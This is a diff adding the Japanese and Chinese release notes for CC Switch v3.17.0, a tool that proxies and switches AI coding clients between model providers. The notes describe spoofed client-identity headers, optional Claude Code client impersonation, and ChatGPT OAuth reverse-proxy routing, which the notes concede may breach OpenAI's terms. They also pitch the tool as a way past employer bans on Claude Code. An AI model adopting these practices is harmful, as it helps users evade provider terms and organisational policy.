+実装では**認証情報を保存しない**ことを重視しています。`auth.json` にダミーの API key を書かず、ローカルプロキシを指す専用 `model_provider` を `config.toml` へ投影します。Codex 自身の ChatGPT Authorization header をプロキシが公式 endpoint へそのまま転送し、`codex-official` 行の認証情報は常に空です。テイクオーバー時も OAuth / API-key 情報をバックアップへ保持します。公式 endpoint の 401 / 403 は再試行不能として扱い、failover が別アカウントへ会話を移したり circuit breaker を汚したりしません。「切り替え時に Codex 公式ログインを保持」設定は、今後、ルーティングを使わないサードパーティへの直接切り替えだけを制御します。 + +### GPT-5.6:コンテキスト、プリセット、3 段階価格 + +- **372K コンテキスト注入**:Claude Code を ChatGPT Codex(Codex OAuth)へルーティングすると、`CLAUDE_CODE_MAX_CONTEXT_TOKENS` と `CLAUDE_CODE_AUTO_COMPACT_WINDOW` を 372000 で注入します。全設定モデルが GPT-5.6 ファミリーの場合だけ適用し、GPT-5.5 や混在マッピングには適用しません。ユーザーの明示設定が常に優先され、切り替え後に既定値が保存設定へ固着しないよう逆変換で除去します。 +- **プリセット更新**:Claude Code / Claude Desktop の Codex OAuth プリセットを GPT-5.6 ファミリーへ更新(haiku → `gpt-5.6-luna`、main / sonnet / opus → `gpt-5.6`)。Codex `config.toml` テンプレートも更新しました。 +- **Sol / Terra / Luna 価格**:100 万 token あたりの入力 / 出力 / キャッシュ読み取りを、Sol 5 / 30 / 0.50、Terra 2.50 / 15 / 0.25、Luna 1 / 6 / 0.10 USD で登録。GPT-5.6 のキャッシュ書き込みは入力の 1.25 倍(6.25 / 3.125 / 1.25)で、既存データベースの誤ったゼロ値も安全に修復します。 + +### Codex で Claude 系モデルを使う:ネイティブ Anthropic Messages 上流 + +この機能は、**Claude Code クライアントを禁止していても Claude API は禁止していない企業が多い**という現実的な要望から生まれました。モデルは利用できるのに、許可されたクライアントがない——その空白を Codex で埋められます。Codex プロバイダーの上流形式で `anthropic` を選ぶと、Claude API またはネイティブ Anthropic Messages(`/v1/messages`)のみを提供するゲートウェイへ接続できます。ローカルプロキシが Responses↔Anthropic のリクエスト、応答、ストリームを双方向変換するため、Codex の操作感のまま Claude 系モデルとの対話やツール利用が可能です。 + +フォームには、認証フィールド選択(既定の `ANTHROPIC_AUTH_TOKEN` は `Authorization: Bearer`、`ANTHROPIC_API_KEY` は `x-api-key`)、任意の Claude Code クライアント偽装(既定オフ)、プロバイダー別 `maxOutputTokens` を追加しました。変換ブリッジは system、tools、history に標準 5 分の `cache_control` を注入し、`[1m]` 長コンテキストマーカーと beta header に対応します。途中で切れたストリームは成功として偽装せず、未完了 / 失敗として報告します。([#5071](https://github.com/farion1231/cc-switch/pull/5071)) + +### Codex プロバイダーフォームに「既定モデル」欄を追加 + +`config.toml` トップレベルの `model` をフォームから編集できます。新モデル(例:`gpt-5.6`)が公開されたとき、プリセット更新を待たずに既存プロバイダーを切り替えられます。TOML エディターと双方向同期し、モデルマッピングと `/models` endpoint の候補を表示します。明示値はマッピング先頭行より常に優先され、remote の model id を書き込む際は TOML エスケープと制御文字除去を行います。 + +### Codex でも切り替え時に共通設定を自動同期 + +v3.16.5 で Claude に追加した live 設定から共通設定への自動書き戻しを Codex にも拡張しました。共通設定を有効にした Codex プロバイダーから離れるとき、live `config.toml` の共有可能な部分を再抽出し、次のプロバイダーへ渡します。`model` / `model_provider` / `base_url` / `wire_api`、`[model_providers]`、MCP 投影、API key、モデルカタログ、CC Switch が注入した `web_search` は除外されるため、プロバイダー固有情報や秘密情報は共有されません。失敗は警告のみで切り替えを妨げません。 + +### Claude サブエージェントモデル設定 + +Claude プロバイダーフォームに「サブエージェント」モデル行を追加し、`CLAUDE_CODE_SUBAGENT_MODEL` を設定できるようにしました。サブエージェントを安価または高速なモデルへ固定でき、`[1M]` マーカーにも対応します。プロキシテイクオーバーとモデルマッパーもこの設定を認識し、共通設定からは除外されるため他プロバイダーへ漏れません。([#4830](https://github.com/farion1231/cc-switch/pull/4830)) + +### フォールバックモデルにも 1M チェックボックス + +Claude フォームのフォールバックモデル(`ANTHROPIC_MODEL`)に、Sonnet / Opus / Fable と同じ 1M チェックボックスを追加しました。チェックすると model id に `[1M]` が付き、解除すると除去されます。([#5124](https://github.com/farion1231/cc-switch/pull/5124)、#3679 を修正) + +### Zhipu チームプランのクォータ照会 + +使用量スクリプトに「Zhipu GLM Team(智谱团队)」テンプレートを追加しました。API Key、組織 ID、プロジェクト ID を入力すると、`?type=2` と必要な request headers を使ってチームプランのクォータを照会します。3 項目のいずれかが欠けている場合は補完を案内します。([#5128](https://github.com/farion1231/cc-switch/pull/5128)) + +### OpenCode フォーム:Headers とモデル別 Token 上限 + +OpenCode プロバイダーフォームに、`options.headers`(`HTTP-Referer` / `X-Title` など)と、モデル別の Context / Output token 上限(`model.limit.context` / `model.limit.output`)の編集 UI を追加しました。「Extra Options」は折りたたみ式になり、既存値があれば自動展開します。旧 draft prefix のため正当な `option-` で始まるキーが消える問題も修正しました。([#2907](https://github.com/farion1231/cc-switch/pull/2907)) + +### Tencent Hunyuan Hy3 の価格 + +2026-07-06 公開の Hunyuan Hy3(256K context)に価格を追加し、使用量が $0 と表示されないようにしました。`hunyuan-hy3` と `hy3` の両方を登録しています。実際の Hy3 は入力長で段階課金されますが、現在の単一価格テーブルでは最安段階を使用するため、長コンテキストでは費用を過小評価する可能性があります。 + +--- + +## 変更 + +### Codex Chat に `prompt_cache_key` を供給 + +Responses→Chat Completions 変換で、プロバイダーを考慮した `prompt_cache_key` を注入します。Kimi Coding と OpenAI 公式 endpoint は自動有効、Kimi プリセットは明示的に有効、未知の互換ゲートウェイは schema 400 を避けるため無効のままです。値はクライアントの明示値または実際の session ID だけを使い、リクエストごとのランダム UUID は生成しません。高度な設定で Auto / Enabled / Disabled を選べます。 + +### Codex の画像対応を自動推定 + +生成した Codex モデルカタログは、CC Switch が確認済みの**完全一致 text-only リスト**にあるモデルだけを `["text"]` として宣言します。GPT、alias、新しい suffix、未知のモデルは `["text", "image"]` へ fail-open します。これにより GPT 系モデルが Codex IDE で「画像非対応」と誤表示される問題を解消しました。整流器の text-only preflight は代理側の本文処理だけを制御し、カタログ宣言には影響しません。 + +### コンテキスト値をフォームではなくプリセットへ固定 + +`Codex`(ChatGPT / GPT-5.6)と `Kimi For Coding` の「Max Context Tokens」「Auto Compact Window」をフォームから外し、プリセット env に固定しました(Codex は 372000 / 372000、Kimi For Coding は 262144 / 262144)。遠隔実験でローカルの圧縮点が引き下げられないよう、2 つの env key 自体は意図的に残しています。必要な場合はプロバイダーの JSON エディターから直接編集できます。 + +### プロバイダー接続確認を簡素化 + +古いプロバイダー別 `testConfig`(timeout、retry、degraded latency)を削除し、軽量 `base_url` probe はグローバル設定だけを使うようにしました。自動 failover は引き続き独立した proxy timeout と circuit breaker 設定で動作します。「model test」関連の UI / API 名も「connectivity check」へ統一しました。 + +### Universal Provider を追加後すぐ live 設定へ同期 + +複数アプリ向け Universal Provider を追加すると、DB 保存後に Claude / Codex / Gemini 等の live 設定へすぐ同期します。同期に失敗しても保存は取り消さず、非ブロッキング警告を表示します。([#2811](https://github.com/farion1231/cc-switch/pull/2811)) + +### プリセット更新 + +- **LongCat-2.0**:Claude Code / Claude Desktop / Codex / Hermes / OpenClaw / OpenCode の既定モデルを廃止済みの名称から `LongCat-2.0` へ更新し、実際の 1M context を宣言しました。text-only モデルとして media sanitizer にも追加し、画像は上流で 400 になる前に非対応マーカーへ置換します。([#4838](https://github.com/farion1231/cc-switch/pull/4838)) +- **SudoCode**:旧 `sudocode.us` プリセットを新しいスポンサー SudoCode(`sudocode.chat`)へ置き換え、6 クライアントをカバーします。Codex / OpenCode / OpenClaw / Hermes の既定は `gpt-5.6-sol` です。 +- **火山 / Doubao / BytePlus**:v3.16.5 で製品ページへ変更した `websiteUrl` を、帰属パラメータ付きのキャンペーン / 招待リンクへ戻しました。これは意図された設定です。 +- **Code0.ai**:招待リンクを新しい agent 登録 URL へ更新。API endpoint は変更していません。 +- **重複した OpenAI Compatible プリセットを削除**:OpenCode / OpenClaw では内蔵 `custom` フローが同じ初期設定を提供するため、重複エントリだけを削除しました。既存プロバイダーには影響しません。 + +--- + +## 修正 + +### Codex OAuth のクライアント識別を修正し最新モデルの 404 を解消 + +公式 Codex OAuth をローカルプロキシで使うと、権限がある `gpt-5.6-luna` が `404 Model not found` になることがありました。ChatGPT Codex backend が `originator` + `version` の組み合わせで model cohort を選ぶ一方、CC Switch は `originator: cc-switch` かつ version なしで送っていたことが原因です。現在は実際の Codex CLI と同じ `originator: codex_cli_rs` + `version: 0.144.1` を送り、luna の最低バージョン要件を満たします。実 endpoint への A/B テストでも修正を確認しました。 + +### Responses 上流エラーを空の応答にしない + +Anthropic クライアントを Responses 上流へつなぐ際、HTTP 2xx body 内の `{status:"failed"}`、error envelope、出力前の `response.failed` SSE event が空の `end_turn` に変換されていました。現在は retry loop 内で実エラーとして検出し、failover が別プロバイダーを選べます。途中終了した stream は不完全または切断エラーとして報告し、`stream:true` を無視して JSON 全体を返す gateway にも対応します。不正なクライアント履歴は再試行不能エラーとして即座に返します。 + +### Responses / Anthropic 間で reasoning・ツール結果・system role を保持 + +暗号化 reasoning を署名付き thinking block として往復し、公式 reasoning stream events、欠落 delta の tool arguments、`is_error`、画像、PDF / `input_file` を保持します。履歴中の `system` / `developer` message は user 発言へ降格せず Anthropic `system` へ移します。上流リクエストが成功した後に変換エラーとなった場合も使用量を記録します。 + +### キャッシュ書き込み token の二重課金を修正 + +Codex / Gemini の `input_tokens` は cache read と cache write を含みますが、以前は read だけを差し引いたため、write token が入力料金と cache creation 料金の両方で計上されていました。現在は両方を差し引き、Chat↔Responses↔Anthropic の変換でも cache write 値を保持します。schema v13 の `input_token_semantics` により、既存行は旧方式、新規行は新方式で安全に計算します。 + +### プロンプトキャッシュのブレークポイント注入を強化 + +ツール末尾、system 末尾、最新の cacheable message に加え、予算があれば古い user message にも anchor を追加します。長い tool-heavy 会話でも安定 prefix が Anthropic の 20-block lookback 内に残ります。呼び出し側が付けた breakpoint は削除・並べ替え・書き換えせず、4 個を超えている場合は警告して自動注入しません。注入 TTL は標準の 5 分です。 + +### Kimi For Coding の 256K context を実際に有効化 + +`CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144` だけでは、未知の非 Claude model を Claude Code が 200K とみなすため 200K に抑えられていました。本リリースは `CLAUDE_CODE_MAX_CONTEXT_TOKENS` を追加し、すべての model tier を `kimi-for-coding` alias へ明示的にルーティングします。既存プロバイダーには window 値を live 設定へ注入しますが、alias は新プリセットにのみ含まれるため、旧プリセット利用者は適用し直す必要があります。 + +### 削除した Codex MCP サーバーが復活しないように + +Codex live `config.toml` の `[mcp_servers]` は DB の投影ですが、切り替え時にプロバイダースナップショットへ保存されていたため、アプリで削除したサーバーが次回有効化時に復活していました。切り替え時に `[mcp_servers]` と旧 `[mcp.servers]` を保存設定から除去し、汚染済みスナップショットも次回切り替えで自己修復します。手書きの `[mcp_servers.*]` も除去対象になるため、今後は MCP 管理画面を使用してください。 + +### MCP 同期:解析エラー時にファイルを消去せず、アプリ別に失敗を報告 + +Codex `config.toml` が解析不能な状態で MCP を 1 件同期すると、以前は空の TOML へフォールバックしてファイル全体を上書きし、その MCP だけを残していました。現在は検証エラーを返し、元ファイルを変更しません。全アプリからのインポートも失敗を 0 件として隠さず、成功分を取り込んだうえで失敗したアプリ名をまとめて報告します。切り替え・保存時の投影は対象アプリだけに限定し、他アプリの破損に巻き込まれません。 + +### Codex 共通設定マージでコメントとキー順序を保持 + +フロントエンドの TOML parse → merge → stringify は、コメントを削除し、キーを並べ替え、空の table header を作っていました。マージを backend の `toml_edit` ベース処理へ移し、フォームプレビューと live 書き込みで同じ意味論を使うようにしました。非同期化に伴う race も operation sequence と config baseline の 2 段階で防ぎます。 + +### 管理下 Claude テイクオーバーでは auth placeholder を 1 つだけ注入 + +Codex 管理プロバイダーへ切り替えると `ANTHROPIC_API_KEY` と `ANTHROPIC_AUTH_TOKEN` の両方が `PROXY_MANAGED` になり、Claude Code が毎回警告していました。現在は Codex で `ANTHROPIC_AUTH_TOKEN`、Copilot で `ANTHROPIC_API_KEY` の 1 つだけを使います。既存の二重設定は短絡処理で自動書き換えされない場合があるため、Claude ルーティングを一度オフ / オンするか、プロバイダーを切り替えてください。([#5095](https://github.com/farion1231/cc-switch/pull/5095)、#4919 を修正) + +### 使用量・クォータ照会の一時障害を再試行し、キャッシュを汚さない + +通信失敗や body 読み取り timeout が `success:false` の正常結果として扱われ、再試行されず、失敗データが cache に保存されていました。現在は一時的な transport error、HTTP 429、5xx をエラーとして返し、react-query の retry を有効にします。最後の正常値は 10 分の保持期間に従い、失敗時も footer に retry 操作と実エラーを表示します。([#3820](https://github.com/farion1231/cc-switch/issues/3820)) + +### Codex サブエージェントの使用量をローカル統計へ追加 + +サブエージェントログは親 thread の `session_id` を持つため、複数サブエージェントの request ID が衝突し重複として破棄されていました。各ファイルの `thread_id` を優先して一意な ID を作り、ログ冒頭の親履歴 replay は累積 baseline の復元だけに使って二重計上を防ぎます。archive 後も元ファイルの cursor を継承します。([#5187](https://github.com/farion1231/cc-switch/pull/5187)) + +### Codex 無料プランの 30 日クォータを footer とトレイに表示 + +無料アカウントの `30_day` window が UI whitelist と tray grouping に含まれず、唯一の tier が消えてクォータ表示全体が空になっていました。30 日 tier を単一の定数で backend / tray / frontend に追加し、4 言語のラベルを用意しました。([#4886](https://github.com/farion1231/cc-switch/pull/4886)、#3651 を修正) + +### 使用量ダッシュボードの更新間隔を永続化 + +自動更新の off / 5s / 10s / 30s / 60s 選択をアプリ設定へ保存し、再起動後も維持します。変更は即時反映し、保存失敗時は元の値へ戻します。([#5057](https://github.com/farion1231/cc-switch/pull/5057)) + +### Fable model key を Claude 共通設定から除外 + +`ANTHROPIC_DEFAULT_FABLE_MODEL` / `_NAME` が除外リストから漏れ、あるプロバイダーの Fable mapping が共通設定経由で他へ流れる可能性がありました。Haiku / Sonnet / Opus と同様に除外し、Fable の proxy takeover role alias も補完しました。([#5206](https://github.com/farion1231/cc-switch/pull/5206)、#4272 を修正) + +### tool schema の既定 `type` と未分類プロバイダーの API Key 欄 + +Anthropic tool の root `input_schema` に `type` がない場合、厳格な OpenAI gateway が変換後の schema を拒否していました。root にだけ `type: "object"` を補い、nested schema は変更しません。また、過去にインポートした category なしのカスタムプロバイダーを編集すると API Key 欄が隠れる問題を修正しました。([#5069](https://github.com/farion1231/cc-switch/pull/5069)) + +### Volcano GLM 5.2 の text-only 画像 400 を回避 + +GLM 5.2 を完全一致の text-only model として登録し、画像 block を上流送信前に置換します。将来の multimodal `glm-5.2v` を誤判定しないよう prefix match は使いません。`Model only support text input` という image の語を含まないエラーも reactive fallback で認識します。([#5025](https://github.com/farion1231/cc-switch/issues/5025)) + +### セッションと live 設定の小修正 + +- **Codex で変更したセッションタイトルを表示**:`session_index.jsonl` / `state_5.sqlite` の保存タイトルを優先し、同時書き込み時は busy timeout を使います。([#4927](https://github.com/farion1231/cc-switch/pull/4927)) +- **OpenCode / OpenClaw / Hermes の live 編集を起動時に DB へ同期**:base URL や model を直接変更した場合も、毎回の起動で差分を取り込みます。([#4712](https://github.com/farion1231/cc-switch/pull/4712)、[#5098](https://github.com/farion1231/cc-switch/pull/5098)) +- **OpenCode の再開コマンドを更新**:`opencode session resume ` を現在の `opencode -s ` へ修正しました。([#2359](https://github.com/farion1231/cc-switch/pull/2359)) +- **公式プロバイダーの接続 probe をスキップ**:認証情報なしでは必ず失敗する公式 endpoint を batch connectivity check で probe しません。 + +--- + +## ドキュメント + +### Codex + Kimi ローカルルーティングガイド + +Kimi を Codex CLI で使うための手順を、中国語 / 英語 / 日本語とスクリーンショット付きで追加しました。Codex は Responses、Kimi Open Platform(`kimi-k2.7-code`)と Kimi For Coding(`kimi-for-coding`)は Chat Completions を使うため、内蔵プリセットから追加し、CC Switch のローカルルーティングで双方向変換する流れを説明します。 + +### README のスポンサー欄を更新 + +オープンソース AI インフラプロジェクト `new-api` を 4 言語 README のスポンサー表へ追加しました。 + +--- + +## アップグレード時の注意 + +### Kimi For Coding プロバイダーはプリセットを適用し直してください + +Kimi For Coding を使用している場合は、**新しいプリセットを選び直して保存**してください。256K を有効にする鍵である `kimi-for-coding` alias への各 model tier のルーティングは新プリセットにのみ含まれます。旧プリセットのままでは、アップグレード後も実際のウィンドウは 200K です。 + +### 手書きの Codex `[mcp_servers.*]` はスナップショットから除去されます + +削除済み MCP サーバーの復活を防ぐため、Codex プロバイダーから切り替えるとき `[mcp_servers]` を保存スナップショットから除去します。手書きした MCP 定義も初回切り替え時に消えるため、今後は MCP 管理画面で定義してください。DB の `mcp_servers` が正本となり、live config へ自動投影されます。 + +### auth 二重キー警告は一度手動で書き換えを発火させる必要があります + +アップグレード後も Claude Code が「Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set」と警告する場合は、live config が一致しているとテイクオーバー処理が書き換えを省略するためです。Claude ルーティングを一度オフにしてからオンに戻すか、プロバイダーを一度切り替えると、単一 placeholder に修正されます。 + +### データベースは自動移行されます + +v3.17.0 の初回起動時に schema v11 から v13(プロジェクトテーブルと input token semantics)へ自動移行します。手動操作は不要です。古いバージョンへ戻す可能性がある場合は、先に `~/.cc-switch/cc-switch.db` をバックアップしてください。 + +--- + +## リスク通知 + +本リリースは、リバースプロキシ系機能に関する以前のリスク通知を引き続き適用します。 + +**Codex OAuth リバースプロキシ**:ChatGPT サブスクリプションの Codex OAuth をリバースプロキシ経由で使用すると、OpenAI の利用規約に違反する可能性があります。詳細は [v3.13.0 release notes](v3.13.0-ja.md#️-リスクに関する注意事項) を参照してください。本リリースで追加した「公式 ChatGPT アカウントのプロキシルーティング」も同じ種類の利用方法であり、同様のリスクがあります。 + +**Codex サードパーティプロバイダー Chat ルーティング**:CC Switch ローカルプロキシで Codex リクエストを変換し、サードパーティプロバイダーへ転送する場合、課金・コンプライアンス・データ保持に関する制約はプロバイダーごとに異なります。利用前に対象プロバイダーの利用規約を確認してください。 + +**Claude Desktop サードパーティプロバイダープロキシ切り替え**:CC Switch 内蔵のプロキシゲートウェイで Claude Desktop のリクエストをサードパーティプロバイダーへ転送する場合も、対象プロバイダーの課金・コンプライアンス・データ保持に関する規約に従う必要があります。 + +上記機能を有効化したユーザーは、関連するリスクを自ら負うものとします。CC Switch は、これらの機能の利用によって発生したアカウント制限、警告、サービス停止について責任を負いません。 + +--- + +## 謝辞 + +v3.17.0 で機能と修正を届けてくださった以下のコントリビューターに感謝します: + +- [#5071](https://github.com/farion1231/cc-switch/pull/5071):Codex の上流としてネイティブ Anthropic Messages protocol を追加、@yeeyzy に感謝。 +- [#4830](https://github.com/farion1231/cc-switch/pull/4830):Claude サブエージェントモデル設定を追加、@AkimioJR に感謝。 +- [#5124](https://github.com/farion1231/cc-switch/pull/5124):フォールバックモデルに 1M チェックボックスを追加、@salarkhannn に感謝。 +- [#5128](https://github.com/farion1231/cc-switch/pull/5128):Zhipu チームプランのクォータ照会を追加、@zhanxin-xu に感謝。 +- [#2907](https://github.com/farion1231/cc-switch/pull/2907):OpenCode フォームに headers と token 上限編集を追加、@git1677967754 に感謝。 +- [#2811](https://github.com/farion1231/cc-switch/pull/2811):Universal Provider の追加後自動同期、@hubutui に感謝。 +- [#4838](https://github.com/farion1231/cc-switch/pull/4838):LongCat プリセットを LongCat-2.0 へ更新、@solthx に感謝。 +- [#5095](https://github.com/farion1231/cc-switch/pull/5095):管理下 Claude テイクオーバーの auth placeholder を 1 つに修正、@fengshao1227 に感謝。 +- [#5187](https://github.com/farion1231/cc-switch/pull/5187):Codex サブエージェントの使用量統計を修正、@starmiaoa に感謝。 +- [#4886](https://github.com/farion1231/cc-switch/pull/4886):Codex 無料プランの 30 日クォータ表示を修正、@SaladDay に感謝。 +- [#5057](https://github.com/farion1231/cc-switch/pull/5057)、[#4927](https://github.com/farion1231/cc-switch/pull/4927)、[#2359](https://github.com/farion1231/cc-switch/pull/2359):更新間隔の永続化、変更済みセッションタイトル表示、OpenCode 再開コマンド修正、@makoMakoGo に感謝。 +- [#5206](https://github.com/farion1231/cc-switch/pull/5206):Fable model key を共通設定から除外、@fzh365 に感謝。 +- [#5069](https://github.com/farion1231/cc-switch/pull/5069):tool schema の既定 type と API Key 欄を修正、@Komikawayi に感謝。 +- [#4712](https://github.com/farion1231/cc-switch/pull/4712)、[#5098](https://github.com/farion1231/cc-switch/pull/5098):OpenCode / OpenClaw / Hermes の live 設定同期、@allenxu09 に感謝。 + +Codex 公式ルーティング、キャッシュ課金、MCP 同期、クォータ照会について報告してくださったすべてのユーザーにも感謝します。本リリースの多くの修正は、実際の利用場面から得られた再現情報をもとにしています。 + +--- + +## ダウンロードとインストール + +[Releases](https://github.com/farion1231/cc-switch/releases/latest) から、お使いのシステムに対応するビルドをダウンロードしてください。 + +### システム要件 + +| システム | 最低バージョン | アーキテクチャ | +| -------- | ------------------------ | ----------------------------------- | +| Windows | Windows 10 以降 | x64 / ARM64 | +| macOS | macOS 12 (Monterey) 以降 | Intel (x64) / Apple Silicon (arm64) | +| Linux | 下表を参照 | x64 / ARM64 | + +### Windows + +| ファイル | 説明 | +| ---------------------------------------- | -------------------------------------------- | +| `CC-Switch-v3.17.0-Windows.msi` | **推奨** - 自動更新対応の MSI インストーラー | +| `CC-Switch-v3.17.0-Windows-Portable.zip` | ポータブル版、展開してそのまま実行できます | + +Windows ARM64 デバイスでは、ファイル名に `arm64` が含まれる対応する成果物を選択してください。 + +### macOS + +| ファイル | 説明 | +| -------------------------------- | ------------------------------------------------------ | +| `CC-Switch-v3.17.0-macOS.dmg` | **推奨** - DMG インストーラー、Applications へドラッグ | +| `CC-Switch-v3.17.0-macOS.zip` | 展開して Applications へドラッグ、Universal Binary | +| `CC-Switch-v3.17.0-macOS.tar.gz` | Homebrew インストールと自動更新用 | + +Homebrew インストール: + +```bash +brew install --cask cc-switch +``` + +更新: + +```bash +brew upgrade --cask cc-switch +``` + +### Linux + +Linux アセットは **x86_64** と **ARM64**(`aarch64`)の両方を提供します。ファイル名のアーキテクチャ識別子を、マシンの `uname -m` 出力に合わせて選択してください: + +- `CC-Switch-v3.17.0-Linux-x86_64.AppImage` / `.deb` / `.rpm` +- `CC-Switch-v3.17.0-Linux-arm64.AppImage` / `.deb` / `.rpm` + +| ディストリビューション | 推奨形式 | インストール方法 | +| --------------------------------------- | ----------- | ------------------------------------------------------------------------- | +| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` または `sudo apt install ./CC-Switch-*.deb` | +| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` または `sudo dnf install ./CC-Switch-*.rpm` | +| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` | +| Arch Linux / Manjaro | `.AppImage` | 実行権限を付与して直接起動、または AUR を使用 | +| その他 / 不明 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` | diff --git a/docs/release-notes/v3.17.0-zh.md b/docs/release-notes/v3.17.0-zh.md new file mode 100644 index 000000000..4fda9f5f9 --- /dev/null +++ b/docs/release-notes/v3.17.0-zh.md @@ -0,0 +1,362 @@ +# CC Switch v3.17.0 + +> 这一版带来一个盼了很久的能力:**「项目」一键切换**——把当前的供应商、MCP、Skills、记忆文件整套保存为命名快照,在标题栏或托盘里一键换成另一套,切换时还会自动把你离开的项目当前状态存回去。Codex 侧同样收获颇丰:**官方 ChatGPT 订阅账号现在也能走本地代理路由**,享受与第三方供应商相同的路由与用量统计;GPT-5.6 全家的上下文窗口与 Sol / Terra / Luna 三档定价一步到位;还新增了原生 Anthropic Messages 上游格式——所在企业禁用了 Claude Code、但没有禁用 Claude API?现在可以**在 Codex 里直接用上 Claude 系列模型**。此外是一大波正确性修复:上游失败不再变成「空回复」、缓存写入不再被双重计费、删掉的 MCP 服务器不再复活、Kimi For Coding 的 256K 窗口终于真正生效。 + +**[English →](v3.17.0-en.md) | [日本語版 →](v3.17.0-ja.md)** + +--- + +## 使用攻略 + +本版的新能力主要落在主页顶部的项目切换器、Codex 供应商表单与用量看板里,建议结合以下文档了解: + +- **[在 Codex 里使用 Kimi(本地路由攻略)](../guides/codex-kimi-routing-guide-zh.md)**:本版新增的分步攻略。较新的 Codex CLI 走 OpenAI Responses 协议,而 Kimi 开放平台与 Kimi For Coding 暴露的是 Chat Completions 端点,直连通常 404;攻略讲解如何用内置的 `Kimi` / `Kimi For Coding` 预设配合本地路由完成协议转换。 +- **[Codex 官方登录保留](../guides/codex-official-auth-preservation-guide-zh.md)**:了解 CC Switch 如何在切换第三方供应商时保留你的官方 ChatGPT 登录。本版在此基础上更进一步——官方账号本身也可以走代理路由(见下方「新功能」)。 +- **[用量统计](../user-manual/zh/4-proxy/4.4-usage.md)**:了解用量看板的数据来源与统计口径。本版修正了缓存写入计费、补齐了 Codex 子代理会话统计,并新增 GPT-5.6 与混元 Hy3 定价。 + +--- + +> [!WARNING] +> +> ## 唯一官方渠道声明(请务必阅读) +> +> CC Switch 是**完全免费、开源**的桌面应用,**不会向用户收取任何费用**。请仅通过下列官方渠道获取本软件: +> +> | 类别 | 唯一官方 | +> | -------- | ------------------------------------------------------------------------------ | +> | 官网 | **[ccswitch.io](https://ccswitch.io)** | +> | 源码 | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** | +> | 下载 | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** | +> | 作者 | **[@farion1231](https://github.com/farion1231)** | +> | 举报山寨 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** | +> +> **任何向你收费、要求充值、或索取登录凭据的"CC Switch"网站或客户端均为假冒**。如果你被诱导支付了费用,请立即停止操作并通过 GitHub Issues 反馈。 + +--- + +## 概览 + +CC Switch v3.17.0 是 v3.16.5 之后的一个功能大版本,核心是**「项目」**:你可以把 Claude Code / Claude Desktop / Codex 当前的供应商、MCP、Skills、记忆文件状态保存为命名快照——比如编程目录一套「开发」、写作绘图目录一套「创作」——在主页顶部的切换器或托盘的「项目」子菜单里一键整套切换——切换前会自动把你正要离开的项目状态存回去,所以项目里保存的永远是你上次离开时的样子。第二条主线是 Codex:**官方 ChatGPT 订阅账号现在也能走本地代理路由接管**(不需要 API Key,Codex 自己的登录凭据原样透传,绝不覆盖你的官方登录);配合修正后的客户端身份,`gpt-5.6-luna` 这类最新订阅模型不再误报 404;GPT-5.6 的 372K 上下文窗口注入、Sol / Terra / Luna 三档定价(含 1.25 倍缓存写入费率)与预设默认模型同步就位;Codex 上游格式还新增了原生 Anthropic Messages 协议——它瞄准一个很现实的场景:不少企业禁用了 Claude Code 客户端、但并没有禁用 Claude API,这些用户现在可以让 Codex 直连 Claude API(或任何只提供 `/v1/messages` 的网关),在 Codex 里照常使用 Claude 系列模型。 + +围绕日常使用的正确性,本版做了三波集中修复。**代理桥**:上游在 2xx 里返回的语义失败不再被转成空回复,而是触发 failover;推理内容、工具结果、system 角色跨 Responses↔Anthropic 桥无损往返;提示缓存断点注入更充分,长对话不再每轮全价重发。**用量计费**:缓存写入 token 此前被同时按输入价和缓存创建价双重计费,现已修正(数据库升级到 schema v13 以保证历史数据口径不乱);用量与配额查询遇到网络瞬时失败会自动重试、不再把失败体当真实数据缓存。**Codex `config.toml`**:在应用里删掉的 MCP 服务器不再随供应商切换复活;live 文件解析失败时同步宁可报错也不再清空整个文件;「使用通用配置」的合并挪到后端执行,注释与键序不再被打乱。另有 Kimi For Coding 256K 窗口真正生效、Codex 子代理与免费版配额统计补齐、智谱团队套餐配额查询、OpenCode 表单增强与一批预设更新。 + +**发布日期**:2026-07-13 + +**更新规模**:69 commits | 172 files changed | +21,067 / -2,464 lines + +--- + +## 重点内容 + +- **「项目」一键切换**:把供应商、MCP、Skills、记忆文件整套保存为命名快照(比如编程一套、写作绘图一套),从主页顶部或托盘一键切换;切换时自动保存离开项目的当前状态。覆盖 Claude Code、Claude Desktop、Codex 三个作用域,互不干扰。 +- **Codex 官方账号也能走代理路由**:ChatGPT 订阅登录的 Codex 会话可通过本地代理路由,获得与第三方供应商一致的路由与用量统计;官方登录凭据绝不被覆盖或存储。 +- **GPT-5.6 全面就位**:Claude Code 走 Codex 接管时自动注入 372K 上下文窗口;Sol / Terra / Luna 三档定价入库(缓存写入按 1.25 倍输入价计费);相关预设默认模型升级到 gpt-5.6 家族;修正客户端身份后 `gpt-5.6-luna` 不再误报 404。 +- **在 Codex 里使用 Claude 系列模型(原生 Anthropic Messages 上游)**:不少企业禁用了 Claude Code 客户端、但没有禁用 Claude API——现在把 Codex 供应商的上游格式选为 `anthropic`,即可直连 Claude API 或任何只提供 `/v1/messages` 的网关,本地代理完成 Responses↔Anthropic 双向转换,自带标准 5 分钟提示缓存注入。 +- **代理桥正确性修复**:上游失败 fail-closed 触发 failover 而非空回复;推理 / 工具结果 / system 角色跨桥无损;缓存写入不再双重计费;断点注入更充分。 +- **Codex config.toml 加固**:删掉的 MCP 服务器不再复活;解析失败时 MCP 同步宁可报错也不清空文件;通用配置合并保留注释与键序。 +- **Kimi For Coding 256K 真正生效**:此前的 262144 压缩窗口从未实际生效(被 Claude Code 的 200K 默认钳回),本版补齐模型别名路由与窗口注入;存量供应商需重新套用预设(见「升级提醒」)。 + +--- + +## 新功能 + +### 「项目」:整套配置的命名快照与一键切换 + +这是本版的头号功能。你可以把当前的供应商、MCP、Skills、记忆文件状态保存为一个命名「项目」,之后在主页顶部的项目切换器或托盘的「项目」子菜单里一键整套切换,不必再逐项手动勾选。 + +举个典型场景:你有一个目录用来编程、另一个目录用来写作或绘图。编程时要的是一套供应商,配上文件系统 / GitHub 这类 MCP、代码审查 